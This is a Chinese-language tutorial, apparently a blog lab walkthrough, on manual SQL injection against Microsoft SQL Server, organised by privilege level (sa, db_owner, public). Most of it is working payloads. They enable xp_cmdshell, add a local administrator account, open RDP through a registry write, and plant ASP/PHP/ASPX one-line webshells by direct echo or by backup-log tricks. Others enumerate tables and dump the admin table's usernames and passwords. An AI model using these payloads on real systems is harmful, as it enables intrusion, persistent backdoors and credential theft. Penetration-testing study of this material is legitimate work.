MsSQl数据库手动注入攻击

MsSQl数据库手动注入攻击

1. MsSQl介绍

mssql又叫SQLserver数据库,是微软旗下的一款数据库产品,一般aspx和.net搭建的网站一般用的都是SQLserver数据库,公司的oa系统喜欢用这个SQLserver做后台数据库

SQLserver数据库中有三种权限

  • sa权限,相当于linux系统下的root权限,可以直接执行操作系统命令
  • dbowner权限,是数据库管理员权限,默认无法直接执行操作系统命令
  • public权限,普通用户权限

2. sa权限

2.1 判断数据库是否是mssql

mssql数据库下默认会有一张sysobjects,可以根据sql语句是否报错判断当前数据库的类型

and exists(select * from sysobjects)

image-20201228215921542

没有报错说明是mssql数据库

2.2 查看当前数据库的系统用户名

and system_user>0

http://192.168.18.215:86/sqlserver/1.aspx?xxser=1%20and%20system_user>0

image-20201228215837679

当前系统用户名为NT AUTHORITY\NETWORK SERVICE

2.3 检测当前注入点是否具有sa权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

image-20201229150832418

没有报错,说明具有sa权限

2.4 判断xp_cmdshell存储过程是否存在

在SQLserver2000版本以前,默认都是存在的,但是在2000版本以后默认都是禁用的

and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')

image-20201229151257618

页面返回正常说明xp_cmdshell是启用的,如果xp_cmdshell没有启用,可以用下面的语句启用

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

2.5 通过xp_cmdshell新增账号

;exec master..xp_cmdshell 'net user test test /add'

image-20201229151953814

将添加的用户放到管理员组

;exec master..xp_cmdshell 'net localgroup administrators test /add'

image-20201229152400023

如果你的SQLserver环境搭建没有启用xp_cmdshell,你可以在SQLserver中输入以下语句

sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go

参考博客 : https://www.cnblogs.com/atree/p/SQL_SERVER_xp_cmdshell.html

2.6 开启3389端口

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

image-20201229153134574

然后你运行窗口就可以输入mstsc 回车,输入对方电脑的ip,用刚才创建的账号和密码进行远程桌面的链接

3. dbowner权限

3.1 查看当前权限是否为db_owner

and 1=(SELECT IS_MEMBER('db_owner'));--

image-20201229155132194

没有报错说明当前具有db_owner权限

3.2 找出网站路径

db_owner权限默认是无法执行操作系统命令,首先你要找出网站路径这一步非常重要,常用方法有用单引号报错

一个一个的尝试,目录扫描器扫,谷歌百度fofa爆历史物理网站路径

单引号报错

image-20201229160152343

这里报错信息没有完全的物理路径,但是有的网站可能会有

通过相关的语句

# 在当前库下面创建一个表;create Table black(result varchar(7996) null, id int not null identity (1,1))--
;insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--and (select result from black where id=1)>0--

通过反复调id的值,来获取最终的路径

image-20201229162207175

3.3 写入一句话木马获取webshell

手动版

如果你权限够高的话,可以使用xp_cmdshell直接写入一句话木马

%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20你获得的路径\muma.asp'--%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.asp'--

image-20201229162341974

从网站的目录中可以看到一句话木马已经上传到网站上,通过菜刀工具就可以直接连接了,获取webshell

还有一种方法就是通过差异备份获取webshell,唯一一点要注意的就是要把一句话木马转换成16进制,在线网站

可以转换,也可以通过小葵这种工具转换

;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

工具版

使用注入检测中的getwebshell增强版

一句话木马,在webshell中国菜刀(最新过狗的版本中)下面的readme.txt中

PHP:    <?php @eval($_POST['chopper']);?>ASP:    <%eval request("chopper")%>ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

image-20201229164424097

菜刀,蚁剑,冰蝎这些工具都可以这里以菜刀做演示,不知道为什么没有成功

image-20201229170417461

4. public权限

4.1 获取当前数据库名称

and db_name()=0--

image-20201229170752292

4.2 获取mssql所有数据库名和路径

%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

这里没有成功,可能是环境的问题或者是语句的问题

4.3 获取当前数据库所有表名

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

不知道为什么没有爆出来表名

4.4 爆表名字段名

having 1=1--

image-20201229172239856

爆出是admin表下的id字段

group by admin.id having 1=1--

image-20201229172207144

爆出admin下的另一个字段admin.name

group by admin.id,admin.name having 1=1--

image-20201229172416241

爆出admin下的另一个字段admin.password,如果还有字段想要爆出,就在group by后面继续拼接字段

4.5 获取字段内容

/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

image-20201229172651737

原文地址:https://www.cnblogs.com/xcymn/p/15721578.html